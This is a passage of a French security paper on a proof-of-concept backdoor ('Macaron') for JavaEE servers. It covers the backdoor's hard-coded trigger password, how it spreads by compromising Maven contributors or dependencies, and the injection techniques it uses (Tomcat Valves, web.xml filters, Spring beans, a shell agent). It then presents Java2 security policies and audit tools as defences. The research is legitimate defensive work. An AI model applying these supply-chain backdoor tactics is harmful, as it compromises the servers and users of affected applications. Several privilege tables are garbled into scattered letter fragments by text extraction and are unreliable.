permission javalangRuntimePermission getProtectionDomain

Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique

Puis lancez Tomcat

$ $CATALINA_HOMEbincatalinash run -security

Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n

33 Diffusion du code

La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact

P Prados 419

La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques

Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites

La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication

Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production

4 Propagation

Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne

Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource

Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine

Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier

Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement

En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle

7 httpmavenapacheorg

420 Porte derobee dans les serveurs drsquoapplications JavaEE

dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole

Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela

Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut

ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en

attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee

ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1

Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet

Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace

Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9

La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable

5 Les solutions

Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif

Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications

8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security

10 httpantapacheorgivy

P Prados 421

hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)

Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet

grant codeBase file$catalinabase webappsMonProjetWEB -INFlib

permission javalangRuntimePermission

createClassLoader

Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges

Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees

Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques

En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre

grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar

permission javalangRuntimePermission

createClassLoader

Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire

422 Porte derobee dans les serveurs drsquoapplications JavaEE

Le

table

ausu

ivan

tid

enti

fie

les

diff

eren

tspie

ges

pre

sents

dan

slrsquoar

chiv

ede

dem

onst

rati

on

Pie

ges

Locali

sati

on

Desc

rip

tion

s

Res

ou

rces

Bu

nd

les

Exceptionsclass

formatclass

i18nclass

LocalStringsclass

messageclass

messagesclass

viewsclass

windowsclass

javaxservletLocalStringsclass

orgapachecatalinastoreconfigLocalStringsclass

orgapachexercesimplmsgDOMMessagesclass

orgapachexmlresXMLErrorResourcesclass

orghibernatevalidatorresourcesDefaultValidatorMessagesclass

Pu

blica

tion

de

class

esp

ou

rsi

mu

ler

un

fich

ier

properties

Ser

vic

essp

ecifi

cati

on

sJA

RMETA

INFservicesjavaxxmlparsersDocumentBuilderFactory

META

INFservicesjavaxxmlparsersSAXParserFactory

Pu

blica

tion

de

lrsquoim

ple

men

tati

on

de

nou

vea

ux

serv

ices

pu

isd

eleg

ati

on

du

trait

emen

ta

lrsquoim

ple

men

tati

on

stan

-d

ard

Pro

gra

mm

ati

on

par

asp

ect

META

INFaopxml

Dec

lara

tion

gen

eriq

ue

de

regle

sd

rsquoin

ject

ion

s

Le

tab

leau

suiv

ant

ind

iqu

ele

sd

iffer

ente

ste

chn

iqu

esdrsquoi

nje

ctio

ns

dan

sle

flu

xd

etr

ait

emen

td

esre

qu

etes

HT

TP

etle

sp

rivil

eges

nec

essa

ires

P Prados 423In

jecti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Pro

tect

ion

de

lap

ort

ed

erobee

contr

ela

de-

com

pilati

on

javautilPropertyPermission

macaron-backdoorread

javalangRuntimePermission

createClassLoader

javalangRuntimePermission

getProtectionDomain

Pou

rev

iter

lad

e-co

mp

ilati

on

le

cod

ees

tp

rote

ge

Ce

pri

vil

ege

nrsquoe

stp

as

nec

essa

ire

enco

nd

itio

nn

orm

ale

etp

eut

etre

ign

ore

lors

des

test

sIl

nrsquoe

stp

as

dis

crim

inant

pou

rdem

ontr

erqu

rsquoun

eatt

aqu

en

ep

eut

avoir

lieu

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

La

port

ed

erobee

con

stru

itu

ne

Valv

eet

lrsquoin

-je

cte

dan

sT

om

cat

alrsquoaid

ed

rsquoun

ere

qu

ete

Mb

ean

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

5x

siltContext

privileged=truegt

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Si

lep

rivil

ege

est

dis

pon

ible

dan

scontextxml

etu

tilisa

tion

de

Tom

cat

5x

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

6x

javalangRuntimePermission

defineClassInPackageorgapachecatalinavalves

javalangRuntimePermission

defineClassInPackageorgapachecatalina

javalangRuntimePermission

defineClassInPackageorgapachecatalinaconnector

Si

uti

lisa

tion

de

Tom

cat

6x

Inje

ctio

nd

eV

alv

ed

an

sJB

oss

avec

Tom

cat

5x

siltContext

privileged=truegt

javaxmanagementMBeanServerPermission

findMBeanServer

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

getClassLoader

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Sile

pri

vil

ege

est

dis

pon

ible

dan

scontextxml

lap

ort

ed

erob

eeco

nst

ruit

un

eV

alv

eet

lrsquoin

ject

ed

an

sJB

oss

alrsquoaid

ed

rsquoun

ere

quet

eM

bea

n

424 Porte derobee dans les serveurs drsquoapplications JavaEE

Inje

cti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Au

gm

enta

tion

de

pri

vil

eges

sou

sT

om

cat

javaioFilePermission

$catalinahomelibwrite

javaioFilePermission

$catalinahomelibread

(Optional)

javautilPropertyPermission

catalinahomeread(Optional)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Au

gm

enta

tion

de

pri

vil

eges

sou

sJB

oss

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerwrite

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerread

(Optionel)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Inje

ctio

nd

efi

ltre

JavaE

Ed

an

swebxml

sou

sT

om

cat

javaioFilePermission

$catalinabasewebapps$warWEB

INFwebxml

write

Cet

teatt

aqu

eco

nsi

ste

ain

ject

eru

nfi

ltre

JE

Ed

an

sla

ver

sion

enca

che

de

Tom

cat

du

fich

ier

webxmlA

up

roch

ain

red

emarr

age

lefi

ltre

est

act

if

Inje

ctio

nS

pri

ng

Au

cun

Inje

ctio

nd

eltbeangt

dan

sle

sfi

chie

rsd

ep

ara

met

rage

de

Sp

rin

gp

ou

rca

ptu

rer

tou

sle

sre

qu

etes

au

fram

ework

MV

C

Pro

gra

mm

ati

on

par

asp

ect

Au

cun

Inje

ctio

nd

etr

ait

emen

tp

ou

rle

sse

rvle

tset

JS

P

Vou

sp

ou

vez

con

state

rqu

ed

eux

att

aqu

esn

en

eces

site

nt

au

cun

pri

vil

ege

Le

tab

leau

suiv

ant

rep

ren

dle

sp

rivil

eges

nec

essa

ires

au

xd

iffer

ents

agen

tsp

rop

ose

sC

esp

rivileg

esn

eso

nt

pas

nec

essa

ires

au

ne

att

aqu

eci

ble

e

P Prados 425A

gents

Priv

ileges

min

imu

ms

necess

air

es

Desc

rip

tion

s

Agen

tH

isto

riqu

eA

ucu

np

rivil

ege

part

icu

lier

A

gen

tm

emori

sant

les

der

nie

res

requ

etes

HT

TP

Agen

tJN

DI

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tm

an

ipu

lant

lrsquoan

nu

air

eJN

DI

Agen

tJM

XjavaxmanagementMBeanPermission

getDomainsgetMBeanInfogetAttribute

Agen

tco

nsu

ltant

les

JM

X

Agen

tJD

BC

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

de

man

ipu

ler

lab

ase

de

don

nee

s

Agen

tJava

avec

lan

gage

Javasc

rip

tA

ucu

np

rivil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

lrsquoex

ecu

tion

de

cod

eJavasc

rip

t

Agen

tJava

avec

lan

gage

Java

javalangRuntimePermission

createClassLoader

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

Agen

tp

erm

etta

nt

laco

mp

ilati

on

de

cod

eJava

alrsquoaid

ed

rsquoAJP

le

com

pilate

ur

de

JS

P

Exte

nsi

on

agen

tJava

pou

rT

om

cat

javaioFilePermission

$catalinahomecommonlibread

javaioFilePermission

$catalinahomecommonendorsedread

javaioFilePermission

$catalinahomecommonendorsedread

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

du

cod

eso

us

Tom

cat

Exte

nsi

on

agen

tJava

pou

ru

ne

com

pilati

on

via

toolsjar

javautilPropertyPermission

javaiotmpdirread

javautilPropertyPermission

javaclasspathread

javautilPropertyPermission

javaendorseddirsread

javautilPropertyPermission

javaextdirsread

javautilPropertyPermission

sunbootclasspathread

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

avec

tools

jar

siA

JP

nrsquoe

stp

as

dis

pon

ible

Agen

tS

hel

l

javaioFilePermission

binbashexecute

javaioFilePermission

WINDOWSSytem32cmdexeexecute

javaioFilePermission

commandcomexecute

Agen

tp

rop

osa

nt

un

shel

l

426 Porte derobee dans les serveurs drsquoapplications JavaEE

Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts

Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela

Tomcat propose un parametre de lancement pour utiliser la securite Java2

$ catalinash run -security

Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer

JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections

51 Utilisation de la securite Java2

Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information

Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante

ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase

Par exemple le fichier suivant indique des privileges pour une archive specifique

grant

permission javautilloggingLoggingPermission

control

permission javautilPropertyPermission

11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml

P Prados 427

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure

Sur le site une video presente egalement un cas drsquoutilisation de cet outil

De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant

$ macaron -policy --output MonComposantpolicy

MonComposantear

Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications

Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy

Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes

Tab 1 Variables de politique de securite

Variable Description

$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant

Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant

428 Porte derobee dans les serveurs drsquoapplications JavaEE

grant

permission javaioFilePermission $webapphomelogread write

Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes

Le fichier de propriete pour Tomcat est le suivant

serverhome=$catalinahome

serverlib=$catalinahome serverlib

webappsbase=file$catalinabase webapps

webappshome=$webappsbase$basename

La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande

$ macaron -policy -P tomcatproperties

-Dbasename=sample

Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication

$ macaron -policy -P tomcatproperties

-Dbasename=$basename

$ export JAVA_OPTS=- Dbasename=sample

$ $TOMCAT_HOMEbincatalinash run -security

Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci

$ macaron -policy --output MonComposantpolicy

-P tomcatproperties MonComposantear

Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)

Privileges separes

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

P Prados 429

ou tous les privileges globalement (parametre --merge )

Privileges globaux

grant

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite

La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple

Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter

Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte

Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation

Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=

ndash httpslocalhost

ndash filedatabasepolicypolicy

ndash policypolicy

Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-

-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise

13 httpmacaron-policygooglecodecom

430 Porte derobee dans les serveurs drsquoapplications JavaEE

Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar

possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme

$ macaron -policy --merge --output securitypolicy

$MACARON_HOMElibpolicy -jar

Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee

$ JAVA_OPT=-Djavasecuritymanager

-Djavasecuritypolicy=securitypolicy

macaron -policy --output -

$MACARON_HOMElibpolicy -jar

Les privileges demandes sont les suivants

grant

permission javautilloggingLoggingPermission control

permission javautilPropertyPermission

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

permission javanetSocketPermission

80 connect resolve

permission javanetSocketPermission

443 connect resolve

permission javalangRuntimePermission

getenvPOLICY_DATABASE

Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy

Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante

$ macaron -policy

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

